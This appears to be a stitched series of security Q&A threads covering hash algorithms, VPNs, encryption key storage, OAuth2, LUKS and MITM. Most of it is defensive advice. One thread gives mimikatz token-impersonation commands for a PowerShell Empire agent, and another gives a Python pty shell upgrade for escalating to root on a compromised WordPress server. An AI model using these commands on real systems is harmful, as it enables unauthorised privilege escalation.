Well, assuming that switching out the entire authentication mechanism until this deal gets sorted, is not really possible - not much else to do, except activate more logging on logins, pay extra attention to anomalous logins, watch what your users do, and generally try to minimize access for users...


Why should I go to SHA512withRSA signature for my Android apps? I have an Android 11 device and many of my apps and system apps use MD5withRSA or SHA1withRSA as signature algorithm by default.
Why should I take my apps SHA256withRSA or SHA512withRSA? Are there any advantages, if so what are they? Are there also performance and stability issues?

One should stop using MD5 and SHA-1 for digital signatures.
MD5's colliding messages can be found in less than a minute and there are online libraries to produce; corkami and hashclash. Also, SHA-1 is already shattered, that finding two colliding documents are no longer infeasible, and the attack is faster than the generic collision attack O(280). Even before the attack, it was removed by NIST
s recommendation for the signatures.
Secure signature schemes require the hash of the message and this is first introduced by Rabin; he introduced the hash ( it was then called compression) to prove the security of their signature scheme that we call now the Rabin Signature Scheme. Some so-called it, hash-then-sign paradigm, however, it is better not. Since the hashing is part of it.
What is the danger of collisions in the digital signatures is this;

one can create two colliding messages before the sign, and represent you the document that you wanted, then used the other one in the courts. Some other good examples of hash collision attacks can be seen in this question

You should use at least SHA256 or SHA512. Apart from the generic collision resistance differences ( SHA256 has 128-bit and SHA512 has 256-bit collision resistance) and output size differences 256 to 512, they have a speed difference due to the fact that SHA256 is designed for 32-bit CPUs and SHA512 is designed for 64-bit CPUs. This can have an impact of around 20% speed difference (tested on 64-bit);
openssl  speed -evp sha512 sha256
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
sha512           21611.03k    70718.37k   124630.02k   221499.05k   246393.51k   251833.00k
sha256           29623.38k    65545.39k   190875.14k   159992.49k   170860.54k   210594.47k

There is another faster one, that is Blake2b ( another SHA3 finalist that Keccak won), also it has parallel version Blake3, and SHA3 also has parallelhash that can benefit from multiple cores. One can use them if available.
You can use both SHA256withRSA and SHA512withRSA, the difference is the collision resistance and the target CPU architecture.
512-bit is designed against the quantum attacks that Brassard et. al exhibited. It has cube-root attack that reduced the collision resistance of any 256-bit hash function to 85-bit security and 512 hash function to ~170-bit. Of course, the other costs are not considered (qbits and preparations). If you are not considering countermeasures against the Quantum attack, a secure hash function with an output 256-bit or more fine for you; choose SHA512 for 64 and SHA256 for 32-bit CPU, or simply choose SHA512 once for all.

note: Although the Chosen-Prefix collision attack on MD5 can accept different sized files the resulting sizes of the files must be the same due to the length padding of the MD constructions.


Is there any point to connecting to a VPN server while on the local network? I plan on installing a VPN server on one of my computers that is running Ubuntu for purposes of connecting to my local network while I am not at home.

At home I also have a desktop computer (separate from the one I'm going to install OpenVPN on). My question is: is there any point to connecting my desktop computer through the VPN that I am setting up on a computer that is also on my local network? Are there any security benefits to this?

Sorry if this is a n00b question!

Only if you distrust the other users of your home network. I mean, kids these days, one minute you're teaching them to ride a bicycle, the next they're poisoning your ARP cache and sniffing your traffic.


Encrypt Different Users with unique keys I have a database that I want to implement an encryption per x amount of users.

Say I have 1000 Users in the database and I wanted every 1000 encrypted differently then I would generate a new key and use it for users 1001 - 2000 that registered. this would then be repeated for every 1000. What I can't figure out is the best way to do this and I am trying to do this with hopefully 0 changes to the database as to give as little away should my database get compromised.

To do this, you're gonna need to do some learning, I'm afraid. Googling "how to do field encryption in a database?" will probably get you started.

In essence, you're gonna need to do the encryption (probably AES-GCM-256 encryption) in your application layer. Data comes in, application uses the AES key to encrypt it, and stick the encrypted blob in the database. When you retrieve a field from the database, the application uses the AES key to decrypt it and then use it. Once you have that infrastructure in place, using a different AES key based on the ID number of the record should be easy.

The problem you're going to run into is how you securely store the AES keys. You can't put them in the database, because storing the decryption key next to the encrypted data is a big no-no. So do you just put the key in a flat file on disk of the application server? Do you use some obfuscation trick to obscure the key on disk? Do you buy a server with a good TPM on the motherboard, and write vendor-specific code to store your keys on the TPM? Do you buy a full HSM?

These are tricky issues that don't have a good universal solution. If you're going to design and build such a system, you should become familiar with the tricky parts, and design a solution that fits what you have available.

EDIT addressing comments:

HSM

In comments you say that you have access to an HSM for storing the encryption keys. In that case, I'm imagining that the data flow is something like this:

Encryption:

App ---data---> HSM ---ciphertext---> App ---ciphertext---> DB

Decryption:

DB ---ciphertext---> App ---ciphertext---> HSM ---data---> App

In that case, the chances of the decryption key becoming compromised are very very small and realistically you probably have bigger security issues to worry about elsewhere in your network than creating a new key for every 1,000 users.

That said, if you want to do it, then you'll hit the problem of running out of key slots in the HSM. One good trick for this is "key wrapping"; you have one master symmetric key in the HSM, which you use to encrypt the keys you actually use. The flow would look something like this:

Encryption:

# fetch key_i from the DB and get the HSM to decrypt it.
DB ---ciphertext(key_i)--> App ---ciphertext(key_i)--> HSM ---key_i---> App

# encrypt the data and store it in the DB
App: encrypt(data, key_i) ---ciphertext---> DB

Decryption:

# fetch key_i from the DB and get the HSM to decrypt it
DB ---ciphertext(key_i)--> App ---ciphertext(key_i)--> HSM ---key_i---> App

# fetch the encrypted data from the DB
DB ---ciphertext---> App: decrypt(ciphertext, key_i)


Is there any good security reason to add a VPN tunnel to encapsulate an existing HTTPS traffic between an IoT device and a web server? The company X is selling its home made IoT device.
Each IoT device is only communicating over Internet with a web server of the X company, using HTTPS (with state-of-the art configuration : latest TLS protocol, higher cipher suite, etc).
Is there any good security reasons for the X company to encapsulate the HTTPS traffic in a VPN (initiated by the device) which would connect only the device to the web server ?
Please note we are here in the M2M world, there's not any browser involved at all in this chain, and not any user or GUI on the Iot device.
Thanks for your answer !

No.
Let's have a look at what you generally want from a connection to a remote host:

Confidentiality: You want to ensure that only the server and the device can read the data exchanged between the server and the device.
Integrity: You want to ensure that the data is not modified in transit - deliberately or not - and the receiver reads exactly what the sender sent.
Authenticity: The client wants to ensure that the server is actually the server they wish to communicate with, and not some third party impersonating the server.

HTTPS already offers you all of these, so adding a VPN on top won't improve things - at all.
The thing is, VPNs aren't designed to make connections secure - VPNs are designed to connect you to some remote network, as if you were part of that network. This works really well if you are, say, a company and wish to keep certain services available to your employees (who may be working from home) but not expose them to the general public.


Powershell Empire - Token Impersonation I have been struggling trying to get token impersonation to work in Empire 2.0.

I use the credentials/mimitokens module to list and elevate to use a specific users token - I see mimikatz' output saying the token is impersonated, but using info on the agent still shows my old user, and shell whoami also shows my old user.

If I then use the module /credentials/tokens and set WhoAmI to true it shows the impersonated user as the user which is good, but I have been struggling to get it to spawn a cmd.exe process to see if it uses the impersonated creds.

I have looked around a lot, and there doesn't seem to be too much explanation for the options here. Any help would be much appreciated! I can get the message "run as Domain\Chris" from steal_token - but again, I'm not sure what exactly is then running as Chris as shell whoami and info both still show the old user?

I was hoping that it would work like incognito in meterpreter and that the agent would now be running as the impersonated user, but this doesn't seem to be the case. Does it only use the creds for network commands?

From what I can tell of using the /credentials/mimikatz/command module and then setting the command to:

tokens::elevate /user:Chris

it impersonates the user, but as soon as the command is run it drops the process so I can't then use:

process::start cmd.exe

or anything to then use the impersonated credentials.
I may well be misunderstanding something here though.

process::start will start the process under the context of the process thread, try using token::run cmd.exe


OAuth2, microservices, and "keep me logged in" feature I'm trying to learn more about authentication in microservices using OAuth2.

I've been reading about OAuth2, and while I understand the basics, I have great difficulty understanding how everything works together.

Let's start with an example:

I have a website, which is built on two microservices:

auth service: basically an auth2 service that uses resource-owner based password authentication.
album: once a user is authenticated, he can create photo albums and share it with other users of the site.
website has a "remember me for 30 days" option during login.
user should be able to see from which devices and locations he is logged in, and able to terminate them (in case of unauthorised logins). This is similar to functionality that FaceBook and DropBox provide.

Let's start with the authentication app, a typical auth2 response looks like this:

{"refresh_token": "aEMpqJsg6aotX9HaeVnFqqRBaQn7Bo", "access_token": "aSAX21mzmYRnizwhn1ltFZWDsIbif4", "expires_in": 36000, "token_type": "Bearer", "scope": "read write"}

The login-button of my website just does an OAuth2 request my auth service, and receives the response above.Now, what do I do with this information in order to use this? Do I just store this JSON response in a cookie? I need some form of persistence, in order to use this token for subsequent requests.

Next question: Can I just create a token which expires in 30 days, or is this considered a bad practice? If yes, how can I mitigate this without losing this functionality?

Now to the next part: My album service needs to know who the user is. I assume that the API gateway has the responsibility of making sure the token is correct, and also include the user-id in the request? What if the album needs additional information about the user? Should it just contact the auth app for this?

I tried to find the answers to these questions myself, but it's very hard to find actual good information on this. Most of the stuff I found on the net just gave me vague answers, like "read the oauth2 specs" or "use JWT". While I realise a good understanding of oauth2 is necessary, it would be helpful to me if got some explanation by someone who has actual experience in building something like this. (Book recommendations are also welcome).

First of all, determine if your services are confidential or not.

  Clients capable of maintaining the confidentiality of their
        credentials (e.g., client implemented on a secure server with
        restricted access to the client credentials), or capable of secure
        client authentication using other means.

So, for example Angular Application or Mobile Application are usually not confidential, but backend services are.

If your service is confidential, you can securely store refresh token for a quite a long time (like 30 days).
The full flow would be:

Register a client on Authorization server
Securely store client_id and client_secret on your service

After that you can authenticate users:

Authenticate a user
Get access and refresh tokens
Store refresh token securely
When accesstoken is expired, get a new one with refresh token

In that case you have short-lived access tokens and long-lived refresh tokens.

Access tokens that are valid for 30 days is a bad practice, they are usually issued  not more than for 8-12 hours.

If your service is not confidential, you can think about using some edge service or reverse proxy that will handle securely storing issues.

Regarding getting access to user information I will recommend to use OpenID Connect that is actually better suited for authentication purposes.
OpenID Connect is an authentication protocols that is built on top of OAuth2. Simplified it adds user identity API to the OAuth.

OpenID Connect adds an additional token to the Authorization server response( JWT ID Token) with minimal user information and specified /userinfo endpoint where the service can get additional user information.

To summarize the recommendations:

Use OpenID Connect for authentication
Use OAuth for service-to-service communications
Securely store client credentials andrefresh tokens
Use short-lived access tokens and long-lived refresh tokens


Whitelisting applications in Windows7 Windows 7 and Server 2008 R2 come with a security tool called Applocker. This allows admins to restrict applications to a specific white list which can be as granular as the individual application versions.

Apart from considerations of how practical this is to run, how much real world security would running a fairly tight config provide to an 'average' home system?

Whitelisting applications is a defense-in-depth measure.  While it won't prevent a truly determined person from doing something nefarious, it will stop most people -- especially if users are running as non-admin.

Practicality is relative to your environment.  If it's as you say, a home system, then the liklihood is that you don't have group policy in place.  You would have to manage the configuration on each system manually.


Securing data stored on a file Suppose I have an application, which when opened asks you to open a file and then "unlock" that file using a password that's configurable by the user.
The file should be encrypted with something like  AES-256, right? The key would be the password, but should the users password be hashed using something like SHA-256? Should I salt the hash as well? If I do salt the hash, do I just store the salt at the start of the file?
Is this the correct way to go about things?

There can be many different solutions possible. I'd suggest to consider following.
First consider standard tools. Can your users use VeraCrypt?
If not, how about using some broadly used archiving formats like ZIP, RAR, 7z? They all support encryption.
Use any of encryption algorithms that are broadly known like AES-256, ChaCha20, Threefish-256.
Think of proper mode. For instance, if files are relatively big and if you need random access to different file fragments, you may prefer AES GCM to AES CBC.
Applying passwords for encryption as is can make brute-forcing easier, because depending an attacker can test a considerable number of passwords in a short time. Instead, derive the encryption key using algorithms like Argon2, bcrypt, scrypt. Configure it in such way that derivation of a single key takes 1s. Such delay can be acceptable for user and this will reduce brute-forcing speed to 1 password per second.
To derive encryption key you will need the same parameters as used for encryption: salt, the number of iterations, memory factor (Argon2), parallelism (Argon2). That's why you need to store them. How you store them (at the beginning, at the end) is up to you.


Is a users mobile number available to a web service? The reason I am asking this question is that I just noticed 6 lots of £1.25 charges on my mobile phone bill. I called up the phone company and they said that they are charges from a company called Bounce Mobi, and that I had subscribed to it. I hadn't. They refunded the money, then I received the following email almost immediately:

  Hello,

  We have received a request from your network provider that you would
  like to learn more about a subscription service that was requested on
  the mobile number 447719xxxxxx. Thank you for getting in touch - I
  have provided all the information you requested below:

  You were subscribed to the Bounce.mobi Gaming Portal at a cost of
  £1.50 per week. Our records show that you interacted with one of our
  advertisements. This took you to our subscription page where you then
  confirmed your subscription on Saturday 2nd of January 2016 at
  09:52:39 PM whilst browsing on your phone using a data connection. I
  have attached a picture of the type of subscription page which you
  interacted with in order to subscribe to this service. You will notice
  that the subscription page clearly shows all details of the service.

  This subscription is still active however I have asked our customer
  service team to stop this subscription. The subscription will be
  cancelled within 1 working day and you will receive a text message to
  confirm this.

  This is a subscription service where your weekly payment gives you
  access to our website, there will not be a downloaded 'app' on your
  phone. A link to the product is sent to you upon subscription via text
  message and in your monthly reminder message.

  I hope this clears everything up, however, if you have any more
  queries then please feel free to call us on our helpline number, 0330
  122 4968, or manage your subscription on our website
  www.mobilechargesupport.com.

  DO NOT REPLY TO THIS EMAIL, PLEASE CALL OUR HELPLINE NUMBER 0330 122
  4968 OR VISIT OUR WEBSITE www.mobilechargesupport.com WITH ANY
  QUERIES.

  Kind regards, Emma Bounce.mobi

Note: The phone number was correct, not xxxxxx.

This did not occur, admittedly I may have accidentally clicked on an ad, but I didn't additionally confirm, that is for sure (the legal argument of taking money without further data input, name, address, etc would be a separate discussion).

I'm concerned my phone actually shared my mobile number with the website, as they allege. So my question is, is this even technically possible?

Technically possible? Yes, legally possible, no.

When using a data connection via any of the UK carriers, it is not possible to determine the subscriber number from data available to the server. They must have had your subscriber number in order to levy charges against your phone account.

It is theoretically possible that you have some malware in your phone which is exposing your phone number to some (or all?) sites.

It is also possible that they provide a text input on their site to enter a mobile number and then send charges to that number - this breaks OFFCOM rules.

Further, when you are subscribed to a billed service such as this, the organization providing the service is required to send you notifications at commencement and regular intervals throughout your subscription.

I worked for a similar company a number of years ago - and would trust a rabid crocodile more than anyone involved in mobile phone micropayments. Sadly my experience was that the primary function of OFFCOM was to act as a firewall protecting such people from angry customers.

Under law you are entitled not only to your money back but any expenses (including your time) incurred in resolving the issue. But good luck with that!

Update

My information was somewhat out of date.

I am somewhat alarmed to discover that even Offcom were failing to adequately undermine consumer's rights and have now delegated that responsibility to Phonepayplus, adding further complication to resolving inappropriate or unlawful practices by PRS providers.

Could it get worse?

Yes, PhonePayPlus have removed the requirement (see section 2) for PRS operators to notify you that you are subscribed to a premium rate SMS service.

I was also wrong about the current state of affairs regarding divining one's mobile number from the IP address. And PhonePayPlus's definition of "Robust verification" of consent to charge (see section 2.14) says that retrieving a page from the website containing the terms is adequate.

So its completely legal if a provider makes up data or have bugs in their software. After all, who could possibly fake a screenshot (2.14b)?

I'm off to write a clickjacking site.


emailing a direct link to executable file blacklist risk I hope this is in the right place, don't know where else to ask.

I would like to automatically send a download link to people that directly downloads an executable. The executable is a verified and safe file. People will request this email with the download link themselves. Will I risk compromising the integrity of the emailaddress im sending from by being blacklisted if I send such emails. If so would zipping the file be better? Or should I direct people to a web page where they need to click again to download the file?

I would like the download to be as hassle free as possible but also trustworthy to the people im sending it to. And off-course not risk being blocked by any spam filters of be blacklisted.

From my personal experience it would be better do send a link to a webpage where the user has to download the software by cklicking on a download link/button. There are many spam/ malware filters for mail out there blocking mails with direct links to software.

I encountered this many times trying to get updates of our software to various clients. Now we made a downloadpage with doesn't include the strings '.exe', '.msi', '.zip' and many others. Since then we don't have problems with filters any more.

Also it offers another level on security because we have secured the downloadpage with  username and password, so if one of the emails is read by some third party they still can't simply download the software. But as I don't know exactly what you are trying to do, this may not apply to you.


One website - two different SSL certificates: two different CA's I have seen multiple questions focusing on multiple certificates for a single domain (e.g.: a.com/example and a.com/example_one).

However, what stops an individual from purchasing a certificate and certifying a site they do not own?

For example: site xxx.com has a certificate issued to them from a root CA. What stops me from registering that site xxx.com, with another CA?

what stops an individual from purchasing a certificate and certifying a site they do not own?

Common methods of ownership validation are:

adding an DNS record
uploading a file to your web
sending and email to person in WHOIS
adding a meta tag to first page

  What stops me from registering that site xxx.com, with another CA?

Nothing. You are allowed to have multiple certificates for one domain from multiple CAs.


How to validate the integrity of a library at run time? I was looking at the FIPS certified version of OpenSSL and noticed that they need to execute an integrity check of the library every time it loads. As a result, the library needs to be loaded at a fixed base address to execute the validation. My question is, is there any other way to do so?
It can very well be the case that the base address that the library wants to be loaded at is already in use by some other program.

Since you mention OpenSSL, I am only considering libraries that are compiled into machine code.  Some of it may be relevant to higher level libraries (also called modules), e.g. python or java bytecode, but not all.

How to validate the integrity of a library at run time?

FIPS 140 states several POST (Power-On Self-Test) tests that needs to be performed, and that is a pretty decent way of validating a library at runtime.  Note that such a library assumes that you are loading a FIPS validated library in the first place, therefore you are confident that what you have on disk (before loading) is the correct (validated) library.  Let's go through a couple of attack vectors:

You may download a different library than you intended.  i.e. an attacker did tamper with your connection and gave you his library instead of the FIPS validated one (or instead of a library validated/trustful in another way).  This can be prevented by signing the library and verifying the signature with a key obtained by another channel.  This is also a valid mitigation technique to obtain sources code for a library.
Someone may tamper with the library on disk.  To protect against that you first have operating system permissions, and second you can maintain a checksum of the library in a different location (not on the same machine since an attacker could tamper with the checksum as well).
An attacker may tamper with the library that is already in memory of the process.  POSTs protect against this to certain extent.  POSTs that are executed only once will protect only against tamper during the memory loading, but you can run POSTs from time to time to ensure that no tamper is happening.

As a result, the library needs to be loaded at a fixed base address to execute the validation.
It can very well be the case that the base address that the library wants to be loaded at is already in use by some other program.

Not at all, POSTs are normally part of the library code.  They're just like tests but they're part of the code of the library itself.  On a modern OS a shared library will use PIC (Position Independent Code) which will ensure that all jumps are in relative positions.
Moreover, all modern OSes perform memory mapping for each process therefore the same memory location in two processes rarely correspond to the same place in the virtual memory (which in turn rarely correspond to physical memory, yes there is a minimum of two mappings in a typical OS).
Making a checksum of a memory location inside another process is kind of silly.  The location may be in memory pages that are not continuous and you will need to find the order of them and replicate it.  Something that the kernel is already doing for you (the kernel has the map of that process memory into the memory pages).  Therefore the best place to perform the checksum is inside the process that is loading the library, and since you may want to make that checksum from several processes that load that library the best place to put that code is inside the library!  Ooops, that turns out to be a Power-On Self-Test (a POST).
You mention OpenSSL, OpenSSL has its own set of POSTs already built-in, see below:

OpenSSL FIPS

The OpenSSL FIPS module (the OpenSSL that has been FIPS validated) has several POSTs.  Yet OpenSSL is a very peculiar FIPS verified library, it probably is the only FIPS verified library that comes in source code form.
The user manual for the FIPS OpenSSL (see the references below) has an entire chapter (chapter 4) about obtaining and building OpenSSL so that it can be considered FIPS verified.  Interestingly, it covers some of the attack vectors noted at the beginning of the answer.  Assuming you got a FIPS verified OpenSSL you now need to call:
FIPS_mode_set()

Once the library loads.  This performs several POSTs, and only after you run this you can consider the FIPS OpenSSL to be a FIPS verified library.  These are several POSTs that verify the OpenSSL during runtime, the POSTs are described in section 6.3 of the user manual.  Moreover, since OpenSSL comes in source form, you can be also look at the POSTs in the code.
References:

User Guide for the OpenSSL FIPS module v2.0


Private messaging for protesters Hello I am a protester in Hong Kong.

Many protesters use telegram group. I have heard recently from the News that a group admin was tricked by the police to unlock their phone (police cannot force one to unlock their phone under the law of HK) and a list of 20k - 30k participants were exposed. (That group admin was detained by the police as an organizer.)

Personally, I know telegram was never a good choice because it uses home-grown crypto (I don't think a typical user is aware of this). However, I don't think it matters in this case.

How to prevent this from happening? Does using signal group with sealed sender help? Do we need anonymous messaging?

Source (In English): Student arrested for being admin of social media group supporting Hong Kong protests

This is hard to answer, because, depending on how hard an entity might push, anyone might still give away information/unlock his/her phone under a threat. However:

To mitigate accidental unlocks, you might want to have a messenger app with it's own lock, besides the phone lock.
To not being identifiable by the phone number itself, use a messenger identity that is not tied to the phone number
To however, identify you as a trusthworty source among your peers, use an app that provides a safe way to assert identities, with public/private key cryptography.

Threema, as already mentioned by @defalt, does all three. It's not free though, so you might want to look into similar alternatives.


Why use entropy at all in considering password strength? I don’t understand the password vs. passphrase analyses that I read.  Let me explain.
Here is a pass phrase. It has 5 words using only lower case (I’m ignoring randomness for this purpose): friend house jump touch kiss
When I enter that passphrase, it looks like this: ••••••••••••••••••••••••••••.  That’s 28 characters.  Those analyses (I got most of my info from EFF articles) consider the entries as words, so there are 5 choices out of the 7,776 long wordlist. The hacker knows I am using that list. But what do the words have to do with it?  Can the hacker tell where the spaces are?  If they can, why use them?  One could easily remember a phrase without spaces. Do the spaces count as characters? (I thought they did).  Why would you use the words to figure the entropy?  What difference does it make whether it’s words or just grouped characters in a random password?
I thought passwords worked like this:
number of possibilities = n^x
where:
n = the number of character possibilities
x = the number of characters

In that case, Tr0ub4dor&3 would be  (I think it’s 95 keyboard possibilities or so)  95^11.
The password phrase I wrote earlier would be 27^28 possible combinations, which, of course, is much larger. And the fact that they are words is irrelevant, I thought. Using words it would be 7776^5. That is far fewer possibilities than either 95^11 or 27^28. Isn’t it?
EFF recommends 6 words now, and my personal passwords, I thought, had 27^40 possibilities. That’s a lot of guesses.
Why bother with “entropy”? Isn’t it really just a large number of guesses? What am I missing?

You're looking at it just a little bit wrong.  Probability can be tricky, so the best way to make sense of it is to simplify.  Rather than looking at an ~8000 word list, let's look at the following word list made up entirely from 10 letter words:
california
everything
aboveboard
washington
basketball

There are exactly 5 words on my list with 10 characters each.  I make my password by picking 1 word from this list at random:
everything

Consider an attacker that knows that I chose one password from this list.  Therefore, What is the maximum number of tries it will take to guess my password?  The answer is simple: 5
Sure, there are 26 lowercase letters and my password has 10 characters, so if an attacker didn't know any better and just tried to guess random lower-case letter combinations, they would have 26^10 passwords to try (which is a lot more than 5).  That doesn't matter though, because I picked a single word, so someone who knows my word list can guess my password in at most 5 tries.
This is the case because I didn't pick my password by randomly selecting 10 lower case letters.  If I had chosen 10 random letters then the number of possible passwords would be 26^10 (and my password would be harder to remember).  Instead I picked my password by randomly choosing one word from a list of 5 possibilities.  Therefore the number of possible passwords is just 5^1 = 5.  If I chose two of these passwords and stuck them together then the number of possible passwords I could have would be 5^2 = 25.  It doesn't matter how long the words are, because I'm not choosing letters - I'm choosing words.


security of cryptsetup(8) luksRemoveKey, feasibility of extracting MasterSecretKey and using it later I looked at https://crypto.stackexchange.com/a/24024 and it seems to me cryptsetup(8) luksRemoveKey is weak.

The situation:

I create new LUKS volume, copy stuff into it.
I add a new pass phrase, and give (a copy of) the encrypted volume and the new pass phrase to an employee.
Eventually the employee leaves, the pass phrase they knew is removed from the encrypted volume.
Later, new files are added to the encrypted volume.
Later still, the employee who left gets their hands on a recent copy of  the encrypted volume (containing files created after they left). They don't know any valid pass phrase for the encrypted volume.

Could the employee have used their knowledge of a valid pass phrase to extract the MasterSecretKey from the old copy (before they left the company), and later use that same MasterSecretKey to decrypt the new copy? Is the MasterSecretKey ever changed?

Should I create new encrypted volume and copy the data instead of using cryptsetup(8) luksRemoveKey?

You are correct, although I wouldn't call luksRemoveKey "weak", it accomplishes what it is meant to. There are plenty of situations where it's easier and quicker to only change the KEK (key encryption key) so long as the DEK (data encryption key) was never leaked and all old copies of the LUKS header can be wiped to prevent use of the old KEK.

If you need to prevent someone who had the ability to access the DEK from later decrypting the volume, you will need to either recreate the volume as you suggest, or use cryptsetup-reencrypt to change the DEK in-place (be aware the manpage warns it's not resistant to hardware/kernel failure).


Message and Key Security I'm reading Post-Quantum Cryptography, and in the page 106 in the beginning of the Section 3 it says:

  In this section we consider the message security (opposed to key security) of
  code-based cryptosystems ....

What's do Message Security and Key Security mean? What's a difference between those?

I'm just guessing without having read the book - but my guess is "Message Security" is how hard it is to figure out the plaintext when you just have the ciphertext, and "Key Security" is how hard it is to figure out the encryption key (when you have the ciphertext, and may or may not have the plaintext).  It's conceivable that it could be easier to decrypt a message without knowing the encryption key than it would be to figure out what the encryption key was.


MITM: Is and How is it possible to manipulate HTTP POST data sent by the host to the server Is it and how is it possible to modify a HTTP POST parameter that is being sent by the host to a server assuming that you are in a man-in-the-middle position in a network?

HOST(POST=foobar) --------> ATTACKER(modification) --------> SERVER(POST=barfoo)

Assuming there's no end-to-end security - such as TLS (the secure protocol that replaced SSL and underlies modern HTTPS) - then of course it's possible to modify the traffic. An HTTP POST request, like any other TCP message, is just a stream of bits traversing the various hosts that make up the [inter]net[work]. Each host receives the bits, checks where to send it to next, and retransmits it. If one of those hosts wants to, it can change the message before retransmitting it, or simply not send it along at all, or send it to the wrong destination, or...

Internet Protocol (IP), Transmission Control Protocol (TCP), and HyperText Transfer Protocol (HTTP) have no inherent security. They do not encrypt traffic, do not authenticate either the recipient or the sender, and do not protect the integrity of the message. There are security layers that can be used to provide some or all such protections, such as IPSec (typically used on enterprise local networks or for VPNs) or TLS (typically used for securing traffic over the Internet, and sometimes also within a local network; HTTPS is just HTTP over TLS). However, if such secure protocols are not used, are used incorrectly / with weak configuration, or are terminated before the message reaches its final destination (by a VPN server, or a reverse proxy or load balancer, for example), then an attacker can potentially tamper with the message en route.

Also, note that even when a secure protocol is in use, there's no way to stop an attacker with a MitM position from blocking the traffic. The attacker won't know what it says and won't be able to change the messages, but they can still simply choose to not forward along any particular stream of bits to the next host. The attacker can still tell where the message is from and where it's going (this needs to be in plain text so it can be routed correctly), and can tell its approximate size (for some protocols, can tell its exact size); these pieces of information may be sufficient for the attacker to know at least some of what's being sent. Also, an attacker may be able to convince the client to send attacker-chosen messages to the server. However, without some breach in either the server authentication or the message integrity check, the attacker still cannot modify a secure message itself.

EDIT: If you're looking for software recommendations, that's not really in scope for this site. However, any transparent HTTP proxy (a type of web server that is set up to forward messages to another server) can be used for this. Burp Suite can be configured this way if you want a hands-on view of the intercepted traffic, or an automatic one can easily be written in most programming languages (for example, the well-known HTTP MitM tool sslstrip is written in python using the python-twisted-web library).


Privilege Escalation Wordpress I have access to a Wordpress blog and want to read the server's /root directory that belongs to the user "root" and not "www-data". I also know his password, but I can't open an interactive shell to be even asked about that bit of information..

Well, I have downloaded the plugin WPTerm, with which I can call python scripts or write php files to be executed in the front end, but I run into trouble due to the following issues:

sudo is not available: sh: 1: sudo: not found

su does not work: su: must be run from a terminal

ssh and nc are also not available

It seems that this webserver runs in a docker environment and the Loginizer plugin tells me, that the server has the private IP Address: Server's IP Address 172.18.0.6

How the hell do I spawn an interactive shell where I can bypass the "su: must be run from a terminal" error message? I seriously have no idea what to do next, maybe some kind of shellcode for php or python would work.

Basically, you can try by starting a PTY shell:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/abcd.py
python /tmp/abcd.py

After that, you could install sudo (but I think that it's not necessary because after su -, you are a root user) with:

su -
apt-get install sudo


What encryption/authentication methods to use on our VPN server? I am in the process of setting up some site-to-site VPN connections between our sites.

Our new VPN servers at each site have numerous encryption/authentication methods and I want to know which are the best from a security perspective. Our existing VPN servers used DES/SHA1.

These are the methods that it supports:

Encryption

DES
3DES
AES128
AES192
AES256
NULL

Authentication

MD5
SHA1
SHA256
SHA512

Please can someone suggest the best encryption/authentication methods to use from a security perspective? I was thinking AES256 and SHA512.

SHA512 and AES256 would be the strongest combination of the options you provided.

SHA256 and AES128 should be sufficient, at the time of writing. If that is dedicated hardware, the computational cost benefit is probably minuscule.

If you're asking this here, you will probably make other configuration mistakes later on; it seems you didn't quite grasp the concept, especially since a hash function is not authentication and a block cipher is not encryption - from a security point of view, the block cipher and hash function mentioned above are most suited from that selection to construct those functionalities, though.


Verification of applications on Blackberry Store I need to know if the applications (contained in the blackberry store) are verified by blackberry before exposing them for downloads in the store.

I want to help you prevent you from having to ask these type of basic answers. I will therefore show how to use Google and search for your answer:

http://lmgtfy.com/?q=blackberry+appstore+security

The first link yielded this article

  To prevent an Android-style malware overload from happening on its own
  platform, and to find a big differentiator in the market, BlackBerry
  has inked a deal with Trend Micro to add security for third-party
  apps. All existing and new applications submitted to the BlackBerry
  World storefront will be scanned for potential malicious behavior.

  To do that, BlackBerry is integrating Trend Micro’s Mobile Application
  Reputation Service with its internal, proprietary system for analyzing
  applications.

  "BlackBerry is working with Trend Micro to implement a more robust
  approach for addressing privacy and security concerns related to
  third-party applications," said Adrian Stone, director of BlackBerry
  security response and threat analysis, in a statement. "By
  incorporating Trend Micro's advanced mobile scanning and detection
  capabilities with our own internal, proprietary application analyzing
  system, we can provide another layer of protection and assurance for
  BlackBerry customers.”

  "The volume of malicious and high-risk mobile apps is on the rise
  across the industry,” said Kevin Simzer, vice president of corporate
  development and alliances at Trend Micro. "With the speed that
  cybercriminals are targeting new platforms and applications, Trend
  Micro and BlackBerry's strategic collaboration is natural and timely
  for the security of end users. Together, the two companies can further
  secure and enhance BlackBerry customers' mobile experience."


Layering encryption on top of HTTPS We're building a suite of mobile apps where the communications to/from the server's REST API need to be as secure as possible.

The intention is to use TLS (i.e. https) at the session layer.

However, I've become aware that, on a jailbroken/rooted device it's possible to sniff SSL traffic by inserting a trusted certificate onto the device itself.

Therefore, one idea was to add encryption at the application layer too.  In the words, exchange keys with the server (server sends its public key to client, client sends its public key to server) then use these as an additional layer of security.

Would this confer any additional security benefit or is it a pointless duplication of effort?

You could use HTTPS with public key pinning. This way, only your certificate is valid for the communication. A man-in-the-middle attacker can no longer create a valid certificate to sniff the traffic.

Key pinning is quite common for mobile apps. You should check whether the HTTP framework you use supports it.


Does xkcd.com/1353 overstate heartbleed's capability? Today's xkcd has characters discussing heartbleed:

Megan: I mean, this bug isn't just broken encryption.
Megan: It lets website visitors make a server dispense random memory contents.
Megan: It's not just keys. It's traffic data. Emails. Passwords. Erotic fanfiction.
Cueball: Is everything compromised?
Megan: Well, the attack is limited to data stored in computer memory.
Cueball: So paper is safe. And clay tablets.
Megan: Our imaginations, too.

This seems to imply that the heartbleed attack server compromises all of the computer's memory, not just that assigned to the webserver's processes and this is bad for reasons other than obtaining the private key at which point network eavesdropping and MitM attacks are possible.  Is this true?

Modern OSes use virtual memory spaces for each process that leads to process isolation.  So it is impossible for a webserver using the flawed OpenSSL library to read memory allocated to other processes (not explicitly shared with the process), at best attempts to do so would result in a segmentation fault.

